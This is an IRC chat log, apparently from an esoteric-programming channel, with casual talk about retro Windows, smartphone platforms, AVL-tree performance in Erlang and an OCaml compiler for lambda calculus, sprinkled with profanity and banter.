06:10:46 -!- CESSMASTER has quit ("☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃").
06:52:06 -!- MigoMipo has joined.
07:13:47 -!- immibis has joined.
07:23:04 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
07:34:09 -!- coppro has quit (Read error: 110 (Connection timed out)).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:46 <fizzie> There is the wlan in the conference place.
08:08:42 <fizzie> Unfortunately I think I'm going to have to listen to the presentations and not just IRC here.
08:12:06 -!- asiekierka has joined.
08:15:02 <asiekierka> I want to make an extended version of Windows 3.11
08:15:11 <asiekierka> I think I should get and work on Windows NT 3.51 instead though
08:15:25 <asiekierka> Why? It even runs Firefox (mostly), unlike Windows 3.11!
08:27:16 <GregorR> http://codu.org/imgs/win3plusplus.png
08:27:47 <GregorR> The main problem with most programs is its lack of a registry, which ironically makes F/OSS programs much more likely to work than proprietary.
08:41:33 <asiekierka> Oh, yeah, that just makes me SO want to run NT 3.51 alongside XP on my PC
08:41:58 <asiekierka> 2) No GeForce driver (but we can get around that)
08:52:54 <asiekierka> I think it could work well on my 100mhz Pentium laptop
08:53:01 <asiekierka> it's not as laggy as NT4 but still runs a bunch of apps
09:11:20 <asiekierka> [Global Notice] Hi all, I'm going to restart services -- you'll be without NickServ, ChanServ, MemoServ etc for a few moments! Sorry for the inconvenience and thank you for using freenode.
09:44:47 <immibis> why did you repeat the global notice? we all got it...
09:45:03 <immibis> anyone know how to set a prompt in a MOO?
10:13:17 -!- AnMaster_ has joined.
10:24:39 -!- AnMaster has quit (Connection timed out).
10:29:13 -!- immibis has quit (Read error: 104 (Connection reset by peer)).
11:43:13 -!- Sgeo has joined.
11:51:19 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
13:07:17 <Gracenotes> hooray! another mystery solved with the help of wireshark
13:28:30 -!- amca has quit ("Farewell").
13:36:25 -!- upyr[emacs] has joined.
13:52:20 -!- AnMaster_ has changed nick to AnMaster.
14:02:52 -!- oerjan has joined.
14:05:06 -!- Judofyr has joined.
14:06:35 -!- KingOfKarlsruhe has joined.
14:45:24 -!- oerjan has quit ("leaving").
15:18:48 -!- Judofyr_ has joined.
15:22:15 -!- MigoMipo has joined.
15:24:43 -!- Judofyr_ has quit ("raise Hand, 'wave'").
15:27:13 -!- asiekierka has quit (Read error: 110 (Connection timed out)).
15:30:41 -!- Judofyr has quit (Read error: 113 (No route to host)).
15:32:54 -!- CESSMASTER has joined.
15:44:05 -!- oklopol has joined.
15:59:01 -!- inurinternet has quit (Connection timed out).
16:02:33 <oklopol> actually gets pretty interesting in chapter 4
16:03:41 <oklopol> i just guess it shouldn't, because i've seen the exact same thing done multiple times
16:03:50 <oklopol> okokokokokokokokokokokokokokokokoko
16:04:33 <oklopol> there's a chain in front of me
16:04:41 -!- inurinternet has joined.
16:04:59 <oklopol> i don't know what "metal" is in spanish
16:06:32 -!- oklopol has quit ("WebIrc http://www.hiillos.org/irc/").
16:08:57 -!- comex has quit ("Changing server").
16:09:16 -!- comex has joined.
16:15:46 -!- kar8nga has joined.
16:28:37 -!- KingOfKarlsruhe has quit (Remote closed the connection).
16:34:26 -!- kar8nga has quit (Remote closed the connection).
16:40:14 -!- sebbu2 has joined.
16:41:24 -!- ais523 has joined.
16:44:59 -!- sebbu has quit (Read error: 60 (Operation timed out)).
16:48:26 -!- GregorR-L has joined.
17:15:11 <pikhq> Intel has apparently canned production of 45nm Havendale chips -- planning to just skip to 32nm.
17:25:14 -!- inurinternet has quit (Read error: 104 (Connection reset by peer)).
17:31:13 -!- inurinternet has joined.
17:31:56 -!- inurinternet has quit (Client Quit).
17:57:00 <GregorR-L> Anybody written a virtual pet in some scripting language?
17:58:25 <comex> where does this David slowed stuff come from?
17:58:52 <GregorR-L> But David did slow his pace slightly as his ears!
18:15:03 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
18:42:05 <GregorR-L> `run perl -wlne'END{print$n}eof&&$n++;/<title>([^<]+)/i&&$n--' *
18:51:00 -!- CESSMASTER has quit ("Computer has gone to sleep").
19:06:18 <pikhq> GregorR-L: Ah, esolangs.
19:07:12 <AnMaster> <GregorR-L> But David did slow his pace slightly as his ears! <-- ... ,
19:07:40 <GregorR-L> I also changed "slowed" to "did slow", so clearly my intention was not to quote it precisely.
19:13:45 <AnMaster> hash tables are prone to DDoS. But are balanced trees really immune to that?
19:14:58 <AnMaster> just wondering, since at least the implementation I'm using has severe issues with some operations I need. Fast in general, but when inserting a mostly sorted list it takes ages. Yes I realise it probably rebalances, but no there isn't really any alternative.
19:15:56 <AnMaster> as in, I can't control if the list is sorted or not.
19:21:25 <AnMaster> (and I only get one element at a time)
19:30:30 <Asztal> can anyone here visit http://webchat.freenode.net/ ?
19:30:37 <Asztal> I just get an encoding error
19:31:47 <fizzie> Lucky you; I just seem to be getting a blank screen.
19:32:06 <Deewiant> Well, I got some error about not having javascript before I enabled it
19:32:30 <fizzie> I got that too, then I said to noscript to temporarily allow it, and after that was when I got the empty page.
19:34:25 <Asztal> now I get a page, but it won't actually connect; the button does nothing...
19:34:39 <GregorR-L> It works, but can't connect for me.
19:34:51 <GregorR-L> [14:34] == *** (qwebirc) Looking up your hostname...
19:34:51 <GregorR-L> [14:34] == *** (qwebirc) Found your hostname.
19:34:51 <GregorR-L> [14:34] == Disconnected from server: Connection to IRC server failed.
19:35:22 -!- GregorR-WC has joined.
19:35:25 <Asztal> ah, back to the compression error, looks like GregorR-L is in the lead
19:37:04 -!- GregorR-WC has quit (Client Quit).
19:39:12 -!- DeeWC has joined.
19:39:38 <DeeWC> Looks like a decent UI, too.
19:39:42 -!- DeeWC has left (?).
19:41:31 <Warrigal> Actually, I know precisely where this David slowed stuff comes from.
19:42:15 <Warrigal> But I have to go, so I'll tell you later.
19:45:40 <ehird> I think I'll implement the lambda calculus with IO in OCaml.
19:46:32 <ehird> 16:35:49 <pikhq> ... People care about that?
19:46:32 <ehird> 16:36:25 <pikhq> Thought that at least on the Internet we were sane, reasonable people.
19:46:44 <ehird> pikhq: why would that stop us making jokes about gayness?
19:46:51 <ehird> i make jokes about plenty of things i'm fine with
19:47:16 <pikhq> ehird: That's because you're only one step removed from 'lawl cockfag'.
19:47:38 <ehird> pikhq: amusing but no.
19:47:42 <ehird> i just have silly phases.
19:48:49 <ehird> god, I hate touchscreens
19:49:03 <comex> ehird: so why the iphone
19:49:28 <ehird> because i hadn't used it before buying it and put my faith in the holy jobs to make it work for me
19:49:44 <ehird> well i used it for like 3 minutes
19:49:51 <ehird> on a smudgy display copy
19:50:08 <ehird> the iphone does touchscreens a lot better than any other device i've seen but it's still shit
19:50:34 <ehird> the current technologies are fundamentally (a) incredibly prone to get smudgy as fuck, (b) hard to manipulate smoothly and (c) completely untactile
19:51:05 <comex> I hear the 3GS is better at smudginess
19:51:35 <ehird> are you contractually obligated to clean it thoroughly every week?
19:52:21 <comex> the screen is oleophobic
19:52:35 <ehird> it doesn't like japanese oreos?
19:52:38 <comex> I have no idea how much of an effect this actually causes
19:52:50 <ehird> [[According to Electricpig, the iPhone 3G S will be Oleophobic - which does not mean “scared of cookies”. ]]
19:53:08 <ehird> "Apple coated the new iPhones screens' in a special material that repels the oil on your hands that leaves greasy fingerprints."
19:53:12 <ehird> that could be cool for keyboards and mice
19:54:18 <ehird> Original: June 29, 2007[1]
19:54:18 <ehird> 3G: July 11, 2008[2]
19:54:19 <ehird> 3G S: June 19, 2009[3]
19:54:25 <ehird> Buy an iPhone and you get to replace it every year!
19:54:47 <comex> anyway I can't decide whether I want the 3GS or Pre
19:54:50 <comex> not that I'm likely to get either one
19:55:29 <ehird> comex: meh. it's got an open source linux-based OS, it's got a real fucking keyboard, and it's not locked down at all so you can fuck with everything and distribute shit yourself
19:55:40 <comex> only if you have the dev version
19:55:48 <comex> the linux fork is crap
19:55:53 <ehird> comex: rooting the non-dev one takes like 3 seconds
19:56:00 <ehird> comex: also the dalvik vm is way less shit than hotspot for this
19:56:15 <ehird> comex: so? anyway, you can run C shit
19:56:17 <ehird> it just isn't supported
19:56:31 <fizzie> The best thing is that Android uses their own VM (what was it called again, delvik?) so they can't use the Jazelle "java-acceleration" tricks the ARM cpu would have.
19:56:32 <ehird> write your prog in $blah and write a ui in jython or something
19:56:47 <ehird> fizzie: Dalvik, mr Im Using AnMaster's IRC Client So I Have No Backlog.
19:56:52 <comex> the pre also uses a linux-based OS, the apps are unobfuscated javascript even if the source isn't officially published, and can be rooted in 5 seconds
19:56:57 <ehird> Even For Things That Were Said Three Seconds Ago :P
19:57:08 <comex> and javascript >>>>> java
19:57:11 <ehird> comex: but it's not an open platform still. also, "EVERYTHING IS A WEB APP LOLZ" is totally shit
19:57:20 <ehird> it severely limits the cool shit youc an do.
19:57:20 <comex> ehird: execpt it's apparently really fast, even with lots of open apps
19:57:29 <comex> and I'm sure people will figure out how to run c stuff
19:57:47 <comex> see, I still prefer the iPhone, where apps are actually native code so you don't have to fight an interpreter
19:57:54 <comex> but at least with javascript, you know it's shit
19:57:56 <fizzie> ehird: I'm using LimeChat right now, and the Dalvik message had not appeared when I wrote that. Dialup, you know.
19:58:02 <ehird> comex: the g1 can run C shit.
19:58:05 <ehird> thus it can run anything
19:58:14 <ehird> yes the apis are java, just write a damn wrapper
19:58:21 <comex> java is just good enough that everyone pretends it's a real programming language
19:58:25 <comex> so everything is slow
19:58:34 <ehird> comex: what you forget is that the G1 isn't java-based
19:58:48 <comex> you want to use clojure?
19:59:08 <ehird> comex: you can use $any_jvm_language, or just write your fast logic in $native_lang and a UI in $jvm_lang
19:59:30 <ehird> so it doesn't really limit you, worst case? make a wrapper program for the jvm and call it from your c program
19:59:34 <ehird> if you really need to intwine that shit so much
20:00:48 <ehird> comex: also, the G1 has a real keyboard and a real joysticky thing and real buttons
20:01:14 <ehird> a real keyboard with real fucking modifier keys.
20:01:39 <ehird> ooh, the joystick is actually a trackball
20:01:44 <ehird> that's even better
20:02:11 <fizzie> The trackball got good reviews, I think.
20:02:45 <ehird> trackballs absolutely rock for games
20:02:57 <ehird> (not so much for general meesing...)
20:03:46 -!- kar8nga has joined.
20:05:01 <comex> the pre has a real keyboard
20:05:18 <ehird> comex: so it does, but it's smaller
20:05:31 <ehird> comex: and lacks separate numeric/punctuation keys
20:05:40 <ehird> so a slight win for the G1 on that ponit
20:06:11 <ehird> the G1 has an autofocus camera and the pre doesn't seem to
20:06:17 <ehird> although this is really nitpicking :P
20:06:35 <ehird> (if I actually took photos it'd be nice because my hands are jittery as fuck)
20:08:16 <ehird> comex: wrt the pre "Also, the temptation to keep many apps running can outstretch the device's ability to handle them. I quickly learned to dread the dialog box informing me that I could not open a new app without removing some of my open cards."
20:08:45 <ehird> "The keyboard's too small for thumb typing (welcome to fingernail typing) "
20:23:09 -!- CESSMASTER has joined.
20:23:48 <Sgeo> Is the Google phone good?
20:24:20 <fizzie> Google has said that before the end of 2009 there should be 18 Android phones available; the rumours have it that at least some of those have keyboards. Here's hoping. The Samsung I7500 they're actually almost-selling already is a touchscreen-only thing.
20:24:33 <ehird> Sgeo: Google phone = G1.
20:24:35 <ehird> fizzie: The G1 has a keyboard.
20:24:41 <ehird> Sgeo: Well, that's the first one.
20:24:45 <ehird> Also the best so far.
20:24:48 <Sgeo> Is it a good phone?
20:24:59 <ehird> I've just spent ages arguing that it is to comex :P
20:25:18 <fizzie> I know, but others could have it too. The G1 looks a bit dated.
20:25:35 <Sgeo> It's T-Mobile, or is Google failing?
20:25:40 <fizzie> I would've been tempted by the Dev Phone, if it weren't for the >$100 shipping costs to Finland.
20:25:48 <ehird> Sgeo: Google made the operating system...........
20:25:56 <ehird> And worked with HTC on the hardware.
20:26:16 <ehird> You can also buy an unlocked Dev Phone from Google, which is it.
20:26:22 <ehird> fizzie: What specifically is dated about it, anyway?
20:26:35 <fizzie> They sell it as "HTC Dream" in some locations. (And they don't sell it at all in Finland.)
20:27:03 <ehird> 528mhz ARM is faster than the iPhone [3G] (but not S), it has the regular screen, it has a regular camera, it has 192MB of RAM... Android is being actively developed...
20:27:12 <ehird> I don't really see why it's "dated".
20:27:13 <fizzie> ehird: Just the looks. And the I7500 has a better camera (well, spec-wise; haven't seen real reviews yet) if one cares about that sort of thing.
20:27:18 <ehird> It only came out in October.
20:27:40 <fizzie> October last year, though! In iPhone-years that's something like twelveteen generations old.
20:27:46 * pikhq still wants OpenMoko.
20:28:01 <fizzie> Have to go, hourly dialup charges and so on.
20:28:12 <ehird> pikhq: OpenMoko the OS is no more open than Android, really; and it looked kind of shit tbh
20:28:41 <ehird> Heck, the Neo phones can run Android.
20:28:53 <ehird> So you could probably run OpenMoko on an Android phone, though why you'd want to I have no clue.
20:29:03 <ehird> "As of the 2008.08 software revision only the GSM phone module is working reliably"
20:29:10 <ehird> pikhq: yeah, I loooooooooooooove X11.
20:29:28 <pikhq> Qt embedded runs directly on the framebuffer.
20:30:07 <ehird> pikhq: "The software development is split between Qtopia under X11"
20:30:19 <pikhq> ... WHY ARE THEY RUNNING QTOPIA ON X?
20:30:21 <ehird> Maybe that's an option, but OpenMoko runs it under X11.
20:30:26 <ehird> pikhq: because they have gtk stuff too
20:30:35 <ehird> "The Openmoko community has forked [4] the final stable release into Qt Extended Improved and they have launce a new homepage [5]. "
20:30:39 -!- CESSMASTER has quit (Read error: 104 (Connection reset by peer)).
20:30:40 <pikhq> Which should be running on DirectFB.
20:30:51 <pikhq> Okay, so the OpenMoko community is retarded.
20:31:01 <pikhq> Android FTW, then.
20:33:16 <ehird> Clearly what we need is perfect wearable computers for free.
20:33:20 <ehird> Step 1. Establish communist state
20:33:27 <ehird> Step 2. Force clever people to develop thus
20:33:30 <ehird> Step 3. Give to everyone
20:33:40 <ehird> Step 5. NO PROFIT BUT LAPTOPS AND PHONES ARE OBSOLETE
20:33:45 <ehird> Step 6. — Comrade.
20:33:58 <pikhq> Step 1. Make Reprap be able to print useful electronics.
20:34:09 <pikhq> Step 2. Post-scarcity.
20:34:18 <ehird> Step 4. Oops, entropy.
20:34:19 <pikhq> Step 4. Singularity!
20:34:28 <ehird> Step 5. Simultaneous step-threading is outlawed.
20:34:41 <ehird> Step 5.1. BASIC line numbering adopted for steps.
20:34:46 <pikhq> ... How does entropy get into this?
20:34:48 <ehird> Step 5.2. Space is filled.
20:34:55 <ehird> Step 6. Singularity expands space.
20:35:03 <ehird> pikhq: I was just being the silly.
20:35:23 <ehird> Step 8. Wars between universes fighting for space, energy
20:35:35 <ehird> Step 9. Goddammit, the multiverse is finite too.
20:35:45 <ehird> Step 10. God is petitioned to give us infinite stuff kthxbai.
20:35:54 <ehird> Step 11. God, by way of killing us and sending us all to heaven, complies.
20:35:57 <ehird> Step 12. Well, bugger.
20:36:18 <ehird> I hereby decree the above The Story of Wasted Effort.
20:36:59 * pikhq runs off, muttering something about "Forward the Singularity!"
20:37:55 <ehird> pikhq: Is there some wacky theological argument that equates the singularity to the second coming of christ?
20:37:59 <ehird> I would enjoy that
20:39:18 <ehird> [[If it goes up to your belly button I WANT WANT WANT YOU! http://305f8.easyurl.net]]
20:39:24 <ehird> My legs just aren't that flexible...
20:40:17 <ehird> pikhq: Actually, how does that even work? *SINGULARITY, EVERYONE IS HAPPY* "Hey guys! I'm Jesus and I've come to save you from your sufferi—" "WOOHOO PARTY SINGULARITY WOO" "—okay, call me back when you're in the mood."
20:42:17 <pikhq> Jesus as the spiritual manifestation of the singularity.
20:42:57 <ehird> That's some metaphorical bible-reading :P
20:44:07 <Asztal> the book of revelations gives a finite size for heaven
20:44:12 <ehird> pikhq: So, wait. 2000 or so years ago, a singularity was born? Somehow. :P
20:44:30 <ehird> Asztal: It's Revelation, not Revelations.
20:45:50 <pikhq> It's "The Revelation of John", not the Book of Revelations. :P
20:46:21 <ehird> pikhq: It's "Revelation to John", actually.
20:50:51 <Asztal> aha, it's a cube, 2.211 megametres on each size :)
20:51:28 <ehird> Asztal: That's rather gigantic.
20:51:35 <ehird> Although not really.
20:51:51 <lament> should be big enough for all mankind
20:51:52 <ehird> Asztal: So, uh, _how_ is every good dead person ever meant to fit in there? :-)
20:52:02 <lament> with lots of room to spare
20:52:25 <ehird> pikhq: Hey! In Christianity, are good non-humans generally agreed to go to heaven or not?
20:52:40 <lament> some estimate from the internet: 106,456,367,669
20:52:44 <lament> (number of people that ever lived)
20:52:44 <ehird> If it's all good creatures, I'm gonna guess that 2.2 megametres isn't quite big enough.
20:52:47 <pikhq> ehird: There is generally no stance on the issue amongst Christians.
20:52:53 <ehird> lament: does that include neanderthals etc?
20:53:11 <ehird> i mean, defining what a human is is very arbitrary
20:53:16 <lament> not sure, but it starts from 50,000 BC
20:53:29 <pikhq> It's like asking for Christianity's opinions on the laws of physics. :P
20:53:30 <lament> adding all those guys would not change the count dramatically
20:53:37 <lament> there weren't very many of them
20:54:02 <pikhq> Oh, right. People do that.
20:54:07 <ehird> pikhq: err, it's a theological matter about who gets into heaven, innit
20:54:07 * pikhq facepalms at idiots
20:54:16 <lament> ehird: anyway, if we take it to be that number
20:54:29 <lament> ehird: we can put everyone on the *bottom* of the cube, with 40m^2 per person!
20:54:36 <pikhq> And it's a theological matter that I am unaware of any opinions on the matter at all.
20:54:38 <lament> we're barely using *any* space at all
20:54:39 <ehird> lament: remember that people need space to move around, and presumably there's shit other than people in heaven
20:54:59 <lament> ehird: yes, but the *entire cube* is empty
20:55:14 <ehird> it depends what attractions there are in heaven, apart from the whole "eternal gaze of the holy spirit" boring shit :)
20:55:16 <lament> you don't really appreciate how big 2 million meters is
20:55:21 <lament> especially when it's cubed
20:55:34 <ehird> lament: in more reasonable terms, that's 1,000 miles
20:55:37 <pikhq> What's the diameter of the Earth?
20:55:37 <ehird> which is big but not gigantic
20:55:48 <ehird> `wolfram diameter of earth
20:55:54 <HackEgo> diameter of earth \ \ Input interpretation: \ \ Earth \ Result: \ \ diameter \ \ 7913.1 miles \ Unit conversions: \ \ 12 734.9 km kilometers \ \ Generated by Wolfram|Alpha (www.wolframalpha.com) on June 22, 2009 from Champaign, IL. © Wolfram Alpha LLC—A Wolfram Research Company \ \ 1 \ \
20:56:10 <ehird> pikhq: so it's (earth.diameter/7)^3
20:56:20 <lament> ehird: in that case, you don't appreciate how few humans are there and how little space they occupy :)
20:56:28 <pikhq> Which is a fuckton of volume.
20:56:37 <lament> ehird: we could put all humans currently living on an island of about 30x30km
20:57:28 <ehird> we are talking 6bn people here
20:58:16 <lament> (which is very sparse as crowds go)
20:58:28 <ehird> that's impressive.
20:58:31 <lament> 30x30 is reasonable when it's an actual crowd
20:58:52 <lament> there's a sci-fi story where some guy gets a revelation
20:58:57 <pikhq> So, how much area would we have in this cube?
20:58:58 <lament> that some sort of end of the world is coming
20:59:00 -!- CESSMASTER has joined.
20:59:13 <lament> and they should build a huge cube and put everybody on earth inside this cube
20:59:18 <ehird> lament: is it called the bible
20:59:19 <lament> and people believe him and proceed to build the cube
20:59:31 <lament> the cube was really small
20:59:44 <lament> i don't remember, either 1 or 10 km
21:00:14 <lament> math says, 6km on the side if it's 1m^3 per person
21:00:14 <pikhq> According to Wikipedia, the Earth has 148 square terameters of land. Can we beat that with a 2 megameter cube?
21:00:39 <lament> the book had all sorts of logistic problems
21:00:49 <pikhq> (man, terameters. I <3 metric)
21:00:55 <lament> the cube was built in china because that's where most of the population is anyway, so it's easier to transport people to the cube
21:01:08 <lament> but the chinese got pissed off because they were the first to be frozen, and suspected a conspiracy
21:01:26 <lament> but then they did it anyway because everybody trusted the prophet guy
21:01:46 <ehird> lament: so what happens
21:02:06 <lament> i probably shouldn't spoil it :)
21:02:15 <lament> if i remember the name of the book at least
21:02:22 <Asztal> hm, that measurement just refers to New Jerusalem, but I don't know what's outside of that
21:02:35 <Asztal> by the way, it's made of gold, so it would probably weigh quite a lot too
21:03:07 <lament> don't remember the name :(
21:03:08 <pikhq> Asztal: To simulate gravity, of course.
21:03:10 <ehird> Asztal: what, heaven?
21:03:11 <pikhq> s/simulate/replicate/
21:03:15 <ehird> that's all god can do? gold?
21:03:22 <ehird> not like, solid enlightenment?
21:03:28 <Asztal> http://isv.scripturetext.com/revelation/21.htm
21:03:42 <ehird> christianity is so disappointing!~
21:03:49 <Asztal> (As I just said, apparently the measurement is only the city, I don't know what the rest really is)
21:04:11 <ehird> this new jerusalem does have a lot in common with the original
21:04:15 <ehird> like being a gigantic gold fucking cube
21:04:25 <ehird> Asztal: [[The Tabernacle (Hebrew משכן, mishkan, "residence" or "dwelling place"), according to theHebrew bible/Old Testament, was the portable dwelling place for the divine presence from the time of the Exodus from Egypt through the conquering of the land of Canaan]]
21:04:30 <ehird> so it's not actually heaven
21:14:26 -!- GregorR-L has quit ("Leaving").
21:14:29 -!- GregorR-L has joined.
21:21:19 -!- KingOfKarlsruhe has joined.
21:23:54 -!- Arrogant has joined.
21:34:44 -!- ais523 has quit (Remote closed the connection).
21:35:41 -!- SimonRC has joined.
21:36:57 -!- coppro has joined.
21:40:34 -!- kar8nga has quit (Remote closed the connection).
21:50:29 -!- oerjan has joined.
21:57:30 -!- Arrogant has quit ("Leaving").
21:58:39 <oerjan> <AnMaster> hash tables are prone to DDoS. But are balanced trees really immune to that?
21:59:08 <oerjan> i think balanced trees should be O(log n) worst case insertion, if that's what you're worrying about
21:59:11 <AnMaster> oerjan, for implementing an asoc array that is.
21:59:16 <ehird> let rec compile e =
21:59:17 <ehird> Var x -> "(fun _ -> " ^ scrub x ^ "())"
21:59:19 <ehird> | Lam (x,e') -> "(fun _ -> fun " ^ scrub x ^ " -> " ^ compile e' ^ ")"
21:59:21 <ehird> | App (p,q) -> "(fun _ -> (((" ^ compile p ^ ") ()) " ^ compile q ^ "))"
22:00:29 <oerjan> AnMaster: i don't know about the hash DDOS thing but i would guess it's something like if someone knows the hashing scheme they could force collisions and make it very slow?
22:02:05 <oerjan> ehird: ^ is ocaml concatenation?
22:03:45 <oerjan> for balanced trees in themselves that should not be possible, but what about long keys with common prefixes?
22:03:56 <AnMaster> oerjan, however providing sorted input seems to slow it down, since even with a self-balancing tree it ends up having to do a lot more rotations.
22:04:03 <oerjan> that would at least require checking linear in length
22:04:07 <AnMaster> oerjan, that would be a prefix tree?
22:04:23 <SimonRC> ah, but is comparison constant-time?
22:04:42 <oerjan> um no i mean just inserting long string keys into a tree-based dictionary
22:04:45 <AnMaster> oerjan, which is not the variant I'm using. Since using a prefix tree for storing integers would be rather odd
22:04:47 <SimonRC> ordering will be linear in key length in the worst case, right?
22:05:02 <AnMaster> oerjan, ah no, this is a sparse integer -> value map
22:05:22 <oerjan> but not very large integers?
22:05:32 <AnMaster> oerjan, 64 bit ones, so not very
22:05:49 -!- jix has joined.
22:05:57 <oerjan> btw haskell has a special map type for int keys that is faster
22:06:30 <AnMaster> and usually the range just above 0 ("just" ~ 15000 or so) is much denser
22:06:46 -!- tombom has joined.
22:06:59 <ehird> AnMaster: how about telling us the use case...
22:07:12 <oerjan> AnMaster: what language?
22:07:38 <AnMaster> ehird, you didn't ask, but then it is easy: For in-between. And I was planning an online version,.
22:07:42 <oerjan> because i recall haskell also has a function to build from ordered associations
22:07:56 <ehird> i didn't ask because it's not my discussion
22:08:00 <ehird> AnMaster: that's not the use case
22:08:05 <AnMaster> but it seems to have very poor performance when inserting lots of sorted keys in the dictionary.
22:08:09 <ehird> that's not what you're going to be using it for, that's just what you're going to use it in
22:08:18 <AnMaster> dictionary is based on AVL tree
22:08:49 <AnMaster> and use case, well, it is to track "initial memory is all zero"
22:09:25 <ehird> # compile (Lam ("x", Var "x"));;
22:09:25 <ehird> - : string = "(fun _ -> fun _x -> (fun _ -> _x()))"
22:09:34 <AnMaster> every time a non-zero is found it is marked as "modified"
22:09:38 <ehird> Hooray! Though I note that (fun _ -> _x()) could just be _x.
22:09:42 <AnMaster> as well as converting stuff where possible
22:09:49 <AnMaster> like +++ at the start to set 3
22:09:59 <ehird> # compile (Lam ("x", Var "x"));;
22:09:59 <ehird> - : string = "(fun _ -> fun _x -> _x)"
22:11:40 <AnMaster> if I shuffle the code to set those in a random order, thus adding lots more >>, the code is much faster.
22:11:53 <ehird> # let foo = Lam ("x", (App (Var "x", Var "x")));;
22:11:53 <ehird> val foo : expr = Lam ("x", App (Var "x", Var "x"))
22:11:56 <ehird> - : string = "(fun _ -> fun _x -> (fun _ -> (((_x) ()) _x)))"
22:11:58 <ehird> # compile (App (foo, foo));;
22:11:59 <AnMaster> thanks to profiling I managed to pin point it to the tree rotations
22:12:02 <ehird> "(fun _ -> ((((fun _ -> fun _x -> (fun _ -> (((_x) ()) _x)))) ()) (fun _ -> fun _x -> (fun _ -> (((_x) ()) _x)))))"
22:12:14 <AnMaster> oerjan, so question is, how to avoid this worst case.
22:12:23 <oerjan> AnMaster: from wikipedia: "The AVL tree is more rigidly balanced than Red-Black trees, leading to slower insertion and removal but faster retrieval."
22:12:37 <oerjan> so it may be an intrinsic fault of AVL trees
22:12:49 <AnMaster> oerjan, so in other word, lets use some other dict/set than the erlang stdlib in module for it.
22:12:55 -!- augur has quit (Read error: 110 (Connection timed out)).
22:13:06 <AnMaster> oerjan, I also test for membership every iteration
22:13:23 <AnMaster> to see "is this not in set, if so, lets turn the add into a set"
22:13:53 <AnMaster> but might be worth trying some other sort of tree.
22:14:12 <oerjan> is DDOS actually a relevant problem for your use case?
22:14:25 <AnMaster> oerjan, as I mentioned above, I was planning an online compiler
22:14:42 <oerjan> otoh erlang may not be good for hash tables, since they are mutable
22:15:05 <AnMaster> oerjan, I guess I could go down and dirty and use ets tables... Not sure how much I would gain that wya
22:15:32 <ehird> - : unit -> unit -> (unit -> 'a as 'a) = <fun>
22:15:37 <oerjan> AnMaster: i guess your keys are not necessarily inserted in order, so you cannot optimize just for that?
22:15:37 <ehird> ok, that's _not_ the type i was expecting.
22:15:39 <AnMaster> not as nice interface of course.
22:15:45 <AnMaster> oerjan, they might not be indeed.
22:16:27 <ehird> specifically, I was expecting:
22:16:29 <AnMaster> oerjan, but at some point they will be.
22:16:38 <ehird> or unit -> (unit -> 'a as 'a)
22:17:12 <oerjan> ehird: those are all equivalent aren't they
22:17:16 <AnMaster> oerjan, with that I mean that I sort instructions by offset, but other passes might enable more to be sorted. Like eliminating dead code in between.
22:17:24 <ehird> oerjan: unit -> unit -> (unit -> 'a as 'a) isn't
22:17:29 <AnMaster> oh and the pass that builds this set even.
22:17:36 <oerjan> ehird: i would think it is
22:17:37 <AnMaster> that can enable better sorting in some cases.
22:17:43 <ehird> oerjan: well, I don't think it should generate that anyway
22:17:51 <ehird> I think it should generate one of what I said
22:17:56 <oerjan> if 'a = unit -> 'a, then it all simplifies
22:18:12 <ehird> but my compiler shouldn't be producing that, I think
22:18:15 <ehird> oh well, I'll try church numerals
22:18:27 <AnMaster> ehird, what are you compiling to/from?
22:18:34 <ehird> AnMaster: lambda calculus → ocaml -rectypes
22:18:40 <ehird> (-rectypes because the lambda calculus is not well-typed.)
22:18:47 <oerjan> ehird: i mean, unit -> (unit -> 'a as 'a) = unit -> 'a as 'a afaict
22:18:55 <ehird> (essentially, any lambda-expression is (a = a -> a))
22:19:05 <ehird> AnMaster: no; ocaml does the optimization
22:19:14 <ehird> after all, well-written ocaml is competitive with C-speed
22:19:24 <ehird> oerjan: but are you not listening to me?
22:19:29 <ehird> my compiler isn't architectured in a way to produce that type
22:19:34 <ehird> thus I suspect I may have a bug
22:19:44 <ehird> although there isn't really much room for buggery:
22:19:45 <ehird> let rec compile e =
22:19:50 <ehird> | Lam (x,e') -> "(fun () -> fun " ^ scrub x ^ " -> " ^ compile e' ^ ")"
22:19:52 <ehird> | App (p,q) -> "(fun () -> (((" ^ compile p ^ ") ()) " ^ compile q ^ "))"
22:19:58 <AnMaster> ehird, of course, but couldn't there be some stuff that you can know better at that point than ocaml can. Like stuff you can exploit, but which is not useful in most ocaml code.
22:20:18 <ehird> AnMaster: Dude, it's the lambda calculus. As far as semantically rich languages go, it's one of the least.
22:20:19 <AnMaster> There certainly is stuff like that for bf for example, no idea if there is for lambda calc
22:20:30 <ehird> "Oh! We're applying a function, to ANOTHER FUNCTION!"
22:20:37 <ehird> "Ooh, but this time, we're getting the function from our argument."
22:20:45 <ehird> "Ooh, here we have a literal function. That applies a function to a function! Twice!"
22:20:58 <AnMaster> ehird, you could possibly optimise written out church numerals
22:21:12 <ehird> eh, but why bother
22:21:20 <ehird> I'm just getting reacquainted with ocaml
22:21:36 <AnMaster> ehird, but it would be similar to optimising [-] into set for bf. common idiom.
22:21:45 <oerjan> ehird: what lambda expression did you compile to get that type?
22:21:47 <AnMaster> not sure if it would help much in your case
22:21:55 <ehird> oerjan: # let foo = Lam ("x", App (Var "x", Var "x")) in compile (App (foo, foo));;
22:22:07 -!- tombom has quit ("Peace and Protection 4.22.2").
22:22:29 -!- Sgeo has quit ("Ex-Chat").
22:22:48 <oerjan> ehird: right, App (Var "x", Var "x") gives a recursive type of course
22:22:49 <AnMaster> this code was generated by gcc-bf: <+>*6-><+>
22:22:53 <ehird> oerjan: yes, of course
22:23:04 <ehird> SimonRC: http://codu.org/davidslowed/; a meme due to Warrigal
22:24:04 <ehird> oerjan: is it actually possible to force one of these functions through to completion? i don't think a loop that keeps doing (f ()) would type, even with -rectypes
22:25:21 <oerjan> ehird: if f : unit -> 'a as 'a then f () () () ... is well-typed, surely
22:25:52 <ehird> oerjan: actually, we can't write a "force f" function, as we have no way of knowing when we didn't reduce any
22:25:52 <oerjan> but you can never get anything but 'a out
22:26:02 <ehird> so this compiler, as-is, is useless
22:26:16 <ehird> with my IO model, we can just force until we get eof
